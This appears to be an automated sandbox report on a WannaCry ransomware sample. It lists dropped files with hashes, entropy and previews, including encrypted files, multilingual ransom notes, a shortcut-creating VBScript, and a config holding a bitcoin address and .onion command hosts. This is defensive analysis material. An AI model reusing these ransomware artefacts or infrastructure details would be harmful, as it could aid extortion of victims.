                                                                                                                                                                              Preview:WANACRY!....j.J...Zm.b.-X....M..$..i.<)7...z..'..@.&..XRP.g.4..Nz.^w1...45..J!.M.;N......#Ll.t.'rcb......C"..19.5.<..=7.PWVJ#..>.)b..*......q.....[l......Gi..~..i9.9...W...s:.(.....Z....4..{.t.....Lf..^7.UV....*@.|..i.........I..O@.Y.wW2_^H.s.... ...;..:V.................t...?.3........2.....;...Y.S.....Fia.n....e....d...p..K...z'<....E.zH.zQysdQ.....Q.....*$Ki.l.Q.V23..b.x.?.*..<=`"..d.cW..J..U..s..{(.kl.H.....QYp....;.....r..G....[./.3n.9.L.....KwhV?,.O#..cE..O..LG3.y.S.T..a.... .0v...'.........$\.......P...(.X...i.!...}..R. .,.P.y.t..'...-...t.*'.....#....>..=pXW.H...6O...y...........}..[<....F..%..^...O.......D!......O..D>..Y......%4`..=d@Q=ba...LyFM_.l~1.N+Q...E..y.y)lHB...9.pL<fq....+.mX.!T.yL.T..&.r;../.........u.RS..r.rcb.n.i.X..r....K..,p,.>.......z.sd.[*T..{.....mV\..W...G&.|1.w....S..j...#f.5m......Nn..$@.h6._..L..e.#.....S..).!.......`Le..`.T..W.8_..+..x9..U.,..v....q..k.X=Rf.X.g.S.......s...C..0..lAIH....K..6....V......'.

                                                                                                                                                                              C:\Users\user\Desktop\TQDFJHPUIU.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.833376508821042
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkqUBtqC5wIwwvbaS9krOXFKJSWn2uJMuXXanUGz5/FC+MeQSw+YEjw5Yzb7Gfug:bkqURTba+kr8QJSW2uWiqn3z59CXe5Y3
                                                                                                                                                                              MD5:35C5F930EF18429583796E9D766B5FA3
                                                                                                                                                                              SHA1:7840AB67395A97C88504270CBB8DEC36CF8E9969
                                                                                                                                                                              SHA-256:8C78D78EC8E6C9A7F3B6FFC4F59B8E1A40C21AD2DD53DF15D04E232EDDC74AFD
                                                                                                                                                                              SHA-512:B1EB59EEC98D53C9F9BFB0762C5D85E217D48BE65EB4866BF654D128D871657F4A23178F652D31260C46A53251086B68911E55673C5BEC95DB153F86169DDA94
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....j.J...Zm.b.-X....M..$..i.<)7...z..'..@.&..XRP.g.4..Nz.^w1...45..J!.M.;N......#Ll.t.'rcb......C"..19.5.<..=7.PWVJ#..>.)b..*......q.....[l......Gi..~..i9.9...W...s:.(.....Z....4..{.t.....Lf..^7.UV....*@.|..i.........I..O@.Y.wW2_^H.s.... ...;..:V.................t...?.3........2.....;...Y.S.....Fia.n....e....d...p..K...z'<....E.zH.zQysdQ.....Q.....*$Ki.l.Q.V23..b.x.?.*..<=`"..d.cW..J..U..s..{(.kl.H.....QYp....;.....r..G....[./.3n.9.L.....KwhV?,.O#..cE..O..LG3.y.S.T..a.... .0v...'.........$\.......P...(.X...i.!...}..R. .,.P.y.t..'...-...t.*'.....#....>..=pXW.H...6O...y...........}..[<....F..%..^...O.......D!......O..D>..Y......%4`..=d@Q=ba...LyFM_.l~1.N+Q...E..y.y)lHB...9.pL<fq....+.mX.!T.yL.T..&.r;../.........u.RS..r.rcb.n.i.X..r....K..,p,.>.......z.sd.[*T..{.....mV\..W...G&.|1.w....S..j...#f.5m......Nn..$@.h6._..L..e.#.....S..).!.......`Le..`.T..W.8_..+..x9..U.,..v....q..k.X=Rf.X.g.S.......s...C..0..lAIH....K..6....V......'.

                                                                                                                                                                              C:\Users\user\Desktop\b.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:PC bitmap, Windows 3.x format, 800 x 600 x 24, image size 1440000, resolution 3779 x 3779 px/m, cbSize 1440054, bits offset 54
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1440054
                                                                                                                                                                              Entropy (8bit):0.3363393123555661
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:zYzuP4tiuOub2WuzvqOFgjexqO5XgYWTIWv/+:sbL+
                                                                                                                                                                              MD5:C17170262312F3BE7027BC2CA825BF0C
                                                                                                                                                                              SHA1:F19ECEDA82973239A1FDC5826BCE7691E5DCB4FB
                                                                                                                                                                              SHA-256:D5E0E8694DDC0548D8E6B87C83D50F4AB85C1DEBADB106D6A6A794C3E746F4FA
                                                                                                                                                                              SHA-512:C6160FD03AD659C8DD9CF2A83F9FDCD34F2DB4F8F27F33C5AFD52ACED49DFA9CE4909211C221A0479DBBB6E6C985385557C495FC04D3400FF21A0FBBAE42EE7C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:BM6.......6...(... ...X.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                              C:\Users\user\Desktop\c.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):780
                                                                                                                                                                              Entropy (8bit):2.332859493676233
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:cL+pZkaHqHgVcKKfF9mHRMMPRGS37LlN/sUQqGUSGeTsdEC:ckmaRVcKKfm2MYS3sUQqGLGeTEV
                                                                                                                                                                              MD5:383A85EAB6ECDA319BFDDD82416FC6C2
                                                                                                                                                                              SHA1:2A9324E1D02C3E41582BF5370043D8AFEB02BA6F
                                                                                                                                                                              SHA-256:079CE1041CBFFE18FF62A2B4A33711EDA40F680D0B1D3B551DB47E39A6390B21
                                                                                                                                                                              SHA-512:C661E0B3C175D31B365362E52D7B152267A15D59517A4BCC493329BE20B23D0E4EB62D1BA80BB96447EEAF91A6901F4B34BF173B4AB6F90D4111EA97C87C1252
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:...........................................................................................................................C......................................................115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn................gx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;.......................................................................................................................................https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip...........................................................................................................................................................................................................................................

                                                                                                                                                                              C:\Users\user\Desktop\f.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):626
                                                                                                                                                                              Entropy (8bit):5.170618434041635
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:oo/raH3jNmjtVwuVwuVwuVwuVwuVwuVwuVwuVwieUQzejwjsUwCHZMNJL54MS3UB:owVwuVwuVwuVwuVwuVwuVwuVwuVwhJ2r
                                                                                                                                                                              MD5:6A67CB383BC3528BC7198421BA823490
                                                                                                                                                                              SHA1:9DA0E26193B7A8769718FE4A51940B0ED895C393
                                                                                                                                                                              SHA-256:B1A4E1059A02FF3A6D87C9B9E7C2B4FED33DD587512D302E96E603B2EBBBB877
                                                                                                                                                                              SHA-512:B245CEB171D6D5B0F2DBEF552304124643BF688D97452BED10B033158EFD96B7988919B11104B300081F9626DADFE70588F7CFAABAC88EC5D8557E72FAB61170
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:C:\Users\user\Documents\BJZFPPWAPT\CZQKSDDMWR.mp3.WNCRY..C:\Documents and Settings\user\Downloads\BJZFPPWAPT.docx.WNCRY..C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\user.png.WNCRY..C:\Documents and Settings\user\AppData\Local\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\pwa-forms-group~mru~officeforms-group-forms~officeforms-my-forms~places.bcdc404c7fe22f14ccad.chunk.v7[1].js.WNCRY..

                                                                                                                                                                              C:\Users\user\Desktop\m.vbs

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):195
                                                                                                                                                                              Entropy (8bit):4.9828343133437905
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:3:gponhvDCKFcsDT6MWlynJ96JS2x9rbPT6MWlynJSK2Fvn:e+hvbGoJgJSoPGoJSK2Fv
                                                                                                                                                                              MD5:CF54CCA4CEA475C005EEE306DF7C73D0
                                                                                                                                                                              SHA1:1D1A669F4376CBB22A5C5C8D211A352AF84DC95D
                                                                                                                                                                              SHA-256:580B3C23A6578CDA3DC3349F3749E935BABC6FA6F2CE9B8DC58D7463C0F618A9
                                                                                                                                                                              SHA-512:043F8938BA7CB4F8BBF3E77667E6505271A984578869623102CF8D61A3D9162387DC200F1F8BF97DF5BEE621B0E952DD9F672150777AA18C978E1B95F3B452AE
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:SET ow = WScript.CreateObject("WScript.Shell")..SET om = ow.CreateShortcut("C:\Users\user\Desktop\@WanaDecryptor@.exe.lnk")..om.TargetPath = "C:\Users\user\Desktop\@WanaDecryptor@.exe"..om.Save..

                                                                                                                                                                              C:\Users\user\Desktop\m.vbs.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):488
                                                                                                                                                                              Entropy (8bit):7.559150498737696
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEIAgRZWs4pZBzZQub7KIGGRk2AWENDCZh9haz8/THO7+rEyXaUb:bkt1os4pqub+S6eZhraI/qOb
                                                                                                                                                                              MD5:C47D5BD285EA8D4304A3357D0577EB38
                                                                                                                                                                              SHA1:668398732BF9ED22B98A983FDF22F7B6AC53AF3A
                                                                                                                                                                              SHA-256:8E3B940F83830EF1A16DDC1129A50A300EA9814DB9B0C479C38F973530D5C7E5
                                                                                                                                                                              SHA-512:D7B9B9A50F412F514342A674A5632A55182B02B246858D03052BF43935747E318E03D900E711FDC061A57406B65F4FB2565E024F2760200115138C272F9E88AD
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....@.?...`..;.."R...5..S....\;...7t..a..AI....x4*.........+2.s...SgT).#.8sl.*],R..sq......g@6..N*..E..D3..U S...hW....'...n...-Vh....x..U.c....8.b.......2S..X0....:.h./( ...........j............P;w@......!....../dg\........n).S...=.=....C...%..O.............Q...4+q".f......i...S.8.g"N..x<..@cza.N....'.u=^`.\.....e,..s...k.<..n)...oP|...*<.Z...p;b...)|.....b...3.+[.*a........R..sf.E.....a...5.vJl.X......d=%H............rK......#@|..l~........}./...!Wzp..4

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_bulgarian.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):47879
                                                                                                                                                                              Entropy (8bit):4.950611667526586
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:768:Shef3jHdCG28Eb1tyci8crbEw6/5+3xFkbP0vyzbZrS14e:SheU5De
                                                                                                                                                                              MD5:95673B0F968C0F55B32204361940D184
                                                                                                                                                                              SHA1:81E427D15A1A826B93E91C3D2FA65221C8CA9CFF
                                                                                                                                                                              SHA-256:40B37E7B80CF678D7DD302AAF41B88135ADE6DDF44D89BDBA19CF171564444BD
                                                                                                                                                                              SHA-512:7601F1883EDBB4150A9DC17084012323B3BFA66F6D19D3D0355CF82B6A1C9DCE475D758DA18B6D17A8B321BF6FCA20915224DBAEDCB3F4D16ABFAF7A5FC21B92
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_chinese (simplified).wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):54359
                                                                                                                                                                              Entropy (8bit):5.015093444540877
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:768:SWjkSFwwlUdcUG2HAmDTzpXtgmDNQ8qD7DHDqMtgDdLDMaDoKMGzD0DWJQ8/QoZ4:SWcwiqDB
                                                                                                                                                                              MD5:0252D45CA21C8E43C9742285C48E91AD
                                                                                                                                                                              SHA1:5C14551D2736EEF3A1C1970CC492206E531703C1
                                                                                                                                                                              SHA-256:845D0E178AEEBD6C7E2A2E9697B2BF6CF02028C50C288B3BA88FE2918EA2834A
                                                                                                                                                                              SHA-512:1BFCF6C0E7C977D777F12BD20AC347630999C4D99BD706B40DE7FF8F2F52E02560D68093142CC93722095657807A1480CE3FB6A2E000C488550548C497998755
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;}..{\f12\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}\'b9\'d9\'c5\'c1{\*\falt Batang};}{\f18\fbidi \fmodern\fcharset136\fprq1{\*\panose 02020509000000000000}MingLiU{\*\falt 2OcuAe};}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\f44\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}@\'b9\'d9\'c5\'c1;}..{\f45\fbidi \fmodern\fcharset136\fprq1{\*\panose 02020509000000000000}@MingLiU;}{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}..{\f54\fbidi \fmodern\fchar

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_chinese (traditional).wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):79346
                                                                                                                                                                              Entropy (8bit):4.901891087442577
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:768:SDwtkzjHdLG2xN1fyvnywUKB5lylYlzlJpsbuEWeM/yDRu9uCuwyInIwDOHEhm/v:SDnz5Rt4D4
                                                                                                                                                                              MD5:2EFC3690D67CD073A9406A25005F7CEA
                                                                                                                                                                              SHA1:52C07F98870EABACE6EC370B7EB562751E8067E9
                                                                                                                                                                              SHA-256:5C7F6AD1EC4BC2C8E2C9C126633215DABA7DE731AC8B12BE10CA157417C97F3A
                                                                                                                                                                              SHA-512:0766C58E64D9CDA5328E00B86F8482316E944AA2C26523A3C37289E22C34BE4B70937033BEBDB217F675E40DB9FECDCE0A0D516F9065A170E28286C2D218487C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;}..{\f11\fbidi \fmodern\fcharset128\fprq1{\*\panose 02020609040205080304}MS Mincho{\*\falt ?l?r ??\'81\'66c};}{\f12\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}\'b9\'d9\'c5\'c1{\*\falt Batang};}..{\f18\fbidi \fmodern\fcharset136\fprq1{\*\panose 02020509000000000000}MingLiU{\*\falt 2OcuAe};}{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}..{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_croatian.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):39070
                                                                                                                                                                              Entropy (8bit):5.03796878472628
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHdb2YG2+d18Scgn8c8/868H1F8E8/8Z3m8VdAm86a8n:Shef3jHd3G2n+p/mZrS14A
                                                                                                                                                                              MD5:17194003FA70CE477326CE2F6DEEB270
                                                                                                                                                                              SHA1:E325988F68D327743926EA317ABB9882F347FA73
                                                                                                                                                                              SHA-256:3F33734B2D34CCE83936CE99C3494CD845F1D2C02D7F6DA31D42DFC1CA15A171
                                                                                                                                                                              SHA-512:DCF4CCF0B352A8B271827B3B8E181F7D6502CA0F8C9DDA3DC6E53441BB4AE6E77B49C9C947CC3EDE0BF323F09140A0C068A907F3C23EA2A8495D1AD96820051C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_czech.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):40512
                                                                                                                                                                              Entropy (8bit):5.035949134693175
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHdg2yG2gv8n8+8zfB8k8F8i8k1Z8M8I818E838C8A8s:Shef3jHd2G26nyMZrS14g
                                                                                                                                                                              MD5:537EFEECDFA94CC421E58FD82A58BA9E
                                                                                                                                                                              SHA1:3609456E16BC16BA447979F3AA69221290EC17D0
                                                                                                                                                                              SHA-256:5AFA4753AFA048C6D6C39327CE674F27F5F6E5D3F2A060B7A8AED61725481150
                                                                                                                                                                              SHA-512:E007786FFA09CCD5A24E5C6504C8DE444929A2FAAAFAD3712367C05615B7E1B0FBF7FBFFF7028ED3F832CE226957390D8BF54308870E9ED597948A838DA1137B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_danish.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):37045
                                                                                                                                                                              Entropy (8bit):5.028683023706024
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHd02wG2roqni2Jeo75Y3kmA31dv61QyU:Shef3jHd4G2M5bZrS14Q
                                                                                                                                                                              MD5:2C5A3B81D5C4715B7BEA01033367FCB5
                                                                                                                                                                              SHA1:B548B45DA8463E17199DAAFD34C23591F94E82CD
                                                                                                                                                                              SHA-256:A75BB44284B9DB8D702692F84909A7E23F21141866ADF3DB888042E9109A1CB6
                                                                                                                                                                              SHA-512:490C5A892FAC801B853C348477B1140755D4C53CA05726AC19D3649AF4285C93523393A3667E209C71C80AC06FFD809F62DD69AE65012DCB00445D032F1277B3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_dutch.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):36987
                                                                                                                                                                              Entropy (8bit):5.036160205965849
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:Sw3BHSj2cLeT+sPzy3EFHjHdp2oG2/CzhReo75Y3kmA31dv61Qyz:Sw3BHSWjHdBG2/UhsZrS14f
                                                                                                                                                                              MD5:7A8D499407C6A647C03C4471A67EAAD7
                                                                                                                                                                              SHA1:D573B6AC8E7E04A05CBBD6B7F6A9842F371D343B
                                                                                                                                                                              SHA-256:2C95BEF914DA6C50D7BDEDEC601E589FBB4FDA24C4863A7260F4F72BD025799C
                                                                                                                                                                              SHA-512:608EF3FF0A517FE1E70FF41AEB277821565C5A9BEE5103AA5E45C68D4763FCE507C2A34D810F4CD242D163181F8341D9A69E93FE32ADED6FBC7F544C55743F12
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_english.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):36973
                                                                                                                                                                              Entropy (8bit):5.040611616416892
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:S93BHSj2cguALeT+sPzy3EFHjHdM2EG2YLC7O3eo75Y3kmA31dv61QyW:S93BHSTjHd0G2YLCZrS14y
                                                                                                                                                                              MD5:FE68C2DC0D2419B38F44D83F2FCF232E
                                                                                                                                                                              SHA1:6C6E49949957215AA2F3DFB72207D249ADF36283
                                                                                                                                                                              SHA-256:26FD072FDA6E12F8C2D3292086EF0390785EFA2C556E2A88BD4673102AF703E5
